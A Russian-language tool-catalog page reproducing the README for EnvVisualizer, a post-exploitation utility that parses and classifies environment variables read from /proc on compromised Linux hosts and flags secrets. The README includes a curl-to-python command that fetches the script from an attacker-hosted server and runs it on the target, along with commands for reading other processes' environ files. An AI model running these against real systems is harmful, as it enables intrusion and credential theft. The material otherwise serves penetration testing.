Skip to content
KitploitKITPLOIT
ИнструментыЭксплойтыБлог
Log in
Отправить
ИнструментыЭксплойтыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

ЛентыКонтактыКонфиденциальность© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
EnvVisualizer — Разбор и визуализация /proc/self/environ на скомпрометированных Linux-машинах — классифицирует переменные окружения по технологическому стеку (AWS, Django, Rails, NodeJS, MySQL, K8s, Docker и т. д.) и формирует выводы с оценкой критичности и готовыми к запуску командами | Kitploit
Инструменты/GitHubGitHub/w4r10ck423/envvisualizer
Оборонительные ИнструментыАнализ уязвимостейАудит конфигурацииСбор информацииПост-эксплуатацияCTFТестирование на ПроникновениеБезопасность облачных средОбнаружение СекретовRed Teaming
GitHub
1965 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
w4r10ck423/envvisualizer

EnvVisualizer

Разбор и визуализация /proc/self/environ на скомпрометированных Linux-машинах — классифицирует переменные окружения по технологическому стеку (AWS, Django, Rails, NodeJS, MySQL, K8s, Docker и т. д.) и формирует выводы с оценкой критичности и готовыми к запуску командами

Репозиторий
Поделиться

EnvVisualizer

___________           ____   ____.__                    .__  .__                     
\_   _____/ _______  _\   \ /   /|__| ________ _______  |  | |__|_______ ___________ 
 |    __)_ /    \  \/ /\   Y   / |  |/  ___/  |  \__  \ |  | |  \___   // __ \_  __ \
 |        \   |  \   /  \     /  |  |\___ \|  |  // __ \|  |_|  |/    /\  ___/|  | \/
/_______  /___|  /\_/    \___/   |__/____  >____/(____  /____/__/_____ \\___  >__|   
        \/     \/                        \/           \/              \/    \/       

Разбирайте, классифицируйте и визуализируйте /proc/self/environ на скомпрометированных Linux-машинах.
Превратите сплошную стену слипшихся переменных окружения в структурированную, цветокодированную разведку — за секунды.


Python Platform License Context Author

Автор: @W4r10ck423


Проблема

Когда вы попадаете на машину и читаете /proc/self/environ, вы получаете вот это:

USER=devnpm_config_user_agent=npm/8.5.1 node/v12.22.9 linux x64 workspaces/falsenpm_node_execpath=/usr/bin/nodenpm_config_noproxy=HOME=/home/devnpm_package_json=/home/dev/projects/store1/package.jsonnpm_config_local_prefix=/home/dev/projects/store1SYSTEMD_EXEC_PID=881COLOR=0LOGNAME=devJOURNAL_STREAM=8:6005PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/binNODE=/usr/bin/nodeLANG=C.UTF-8npm_lifecycle_script=nodemon --exec 'node --inspect=127.0.0.1:9229 /home/dev/projects/store1/start.js'SHELL=/bin/bashnpm_lifecycle_event=watchEDITOR=vi

EnvVisualizer превращает это в вот это:

============================================================================
  EnvVisualizer — /proc/self/environ  (32 variables)
============================================================================

── Identity  (4) ───────────────────────────────────────────────────────────
  HOME                                 /home/dev
  LOGNAME                              dev
  SHELL                                /bin/bash
  USER                                 dev

── Paths & Dirs  (10) ──────────────────────────────────────────────────────
  PATH
      • /home/dev/projects/store1/node_modules/.bin
      • /home/dev/projects/node_modules/.bin
      • /usr/local/sbin
      • /usr/local/bin
      • /usr/sbin
      • /usr/bin
      • /sbin
      • /bin
      • /snap/bin
  PWD                                  /home/dev/projects/store1
  npm_config_cache                     /home/dev/.npm
  npm_execpath                         /usr/share/nodejs/npm/bin/npm-cli.js

── NPM / Node  (12) ────────────────────────────────────────────────────────
  NODE                                 /usr/bin/node
  npm_command                          run-script
  npm_config_user_agent                npm/8.5.1 node/v12.22.9 linux x64 workspaces/false
  npm_lifecycle_script                 nodemon --exec 'node --inspect=127.0.0.1:9229 ...'
  npm_package_json                     /home/dev/projects/store1/package.json

── System  (6) ─────────────────────────────────────────────────────────────
  COLOR                                0
  EDITOR                               vi
  INVOCATION_ID                        abc0ab20c7dd498792d8be51c591071a
  JOURNAL_STREAM                       8:6005
  LANG                                 C.UTF-8
  SYSTEMD_EXEC_PID                     881

── Pentest Insights ────────────────────────────────────────────────────────
  ▶  Node.js debugger exposed → 127.0.0.1:9229  (try: node-inspector / chrome://inspect)
  ▶  Home dir: /home/dev
  ▶  Shell: /bin/bash
  ▶  npm_lifecycle_script = nodemon --exec 'node --inspect=127.0.0.1:9229 ...'
  ▶  npm_lifecycle_event = watch

С установленным rich каждая категория получает собственную цветокодированную таблицу.


Возможности

  • Три режима ввода — чтение файла напрямую (идеальная точность), передача через stdin или вставка сырой строки
  • Умный двухклассовый парсер — корректно обрабатывает слипшиеся строки, в которых нулевые байты были удалены при копировании; распознаёт переменные POSIX в верхнем регистре и известные переменные с префиксами в нижнем регистре (npm_*, node_*, pip_* и т. д.)
  • Шесть семантических категорий — Security/Auth, Identity, Paths & Dirs, NPM/Node, Network/Proxy, System и Other
  • Развёртывание PATH — каждый каталог выводится отдельным пунктом списка вместо стены, разделённой двоеточиями
  • Обнаружение секретов — помечает переменные, чьи имена или значения соответствуют шаблонам учётных данных (TOKEN, KEY, SECRET, PASSWORD и т. д.), предупреждением ⚠
  • Панель Pentest Insights — автоматически выявляет практически значимые находки: контекст root, повышение привилегий через sudo, открытые порты отладчика Node.js, активные lifecycle-скрипты
  • Rich или обычный вывод — цветокодированные таблицы при установленном rich; чистый текстовый вывод как запасной вариант (без зависимостей)

Установка

Вариант 1 — Клонировать и запустить (рекомендуется для пентест-окружений)

git clone https://github.com/w4r10ck423/EnvVisualizer.git
cd EnvVisualizer
pip install rich          # optional but recommended
python3 envvisualizer.py --help

Вариант 2 — Установить как системную команду

git clone https://github.com/w4r10ck423/EnvVisualizer.git
cd EnvVisualizer
pip install .
envvisualizer --help

Вариант 3 — Один файл (git не требуется)

Скопируйте envvisualizer.py на целевую или атакующую машину. Он работает без зависимостей:

# On the attacker machine — host it
python3 -m http.server 8080

# On the target machine — grab and run
curl http://<attacker-ip>:8080/envvisualizer.py | python3 - -f /proc/self/environ

Требования

ЗависимостьВерсияОбязательна
Python≥ 3.8Да
rich≥ 13.0Нет (запасной текстовый вывод)

Использование

usage: envvisualizer [-h] [-f PATH] [-r STRING] [--no-rich]

options:
  -h, --help            show this help message and exit
  -f PATH, --file PATH  Environ file path (null-byte delimited)
  -r STRING, --raw STRING
                        Raw concatenated environ string (copy-pasted, no null bytes)
  --no-rich             Force plain-text output

Режимы ввода

СпособКомандаТочность
Прямое чтение файлаpython3 envvisualizer.py -f /proc/self/environ✅ Идеальная (разделение по нулевым байтам)
Передача через stdincat /proc/self/environ | python3 envvisualizer.py✅ Идеальная (разделение по нулевым байтам)
Вставленная строкаpython3 envvisualizer.py -r 'USER=dev...'✅ Хорошая (двухклассовая эвристика)
Без аргументов (демо)python3 envvisualizer.py✅ Идеальная (собственный процесс)

Совет: Предпочитайте -f, когда у вас есть доступ к файлу.
Разделитель в виде нулевого байта в реальном файле точен — эвристики не нужны.


Примеры

Чтение напрямую из proc (наилучшая точность)

# Current process
python3 envvisualizer.py -f /proc/self/environ

# Another process by PID
python3 envvisualizer.py -f /proc/1337/environ

# Any process you can read
python3 envvisualizer.py -f /proc/$(pgrep node)/environ

Передача через stdin

cat /proc/self/environ | python3 envvisualizer.py

Вставка сырой строки (скопированной из веб-шелла / вывода RCE)

python3 envvisualizer.py -r 'USER=devnpm_config_user_agent=npm/8.5.1 node/v12.22.9 ...'
Скачать инструмент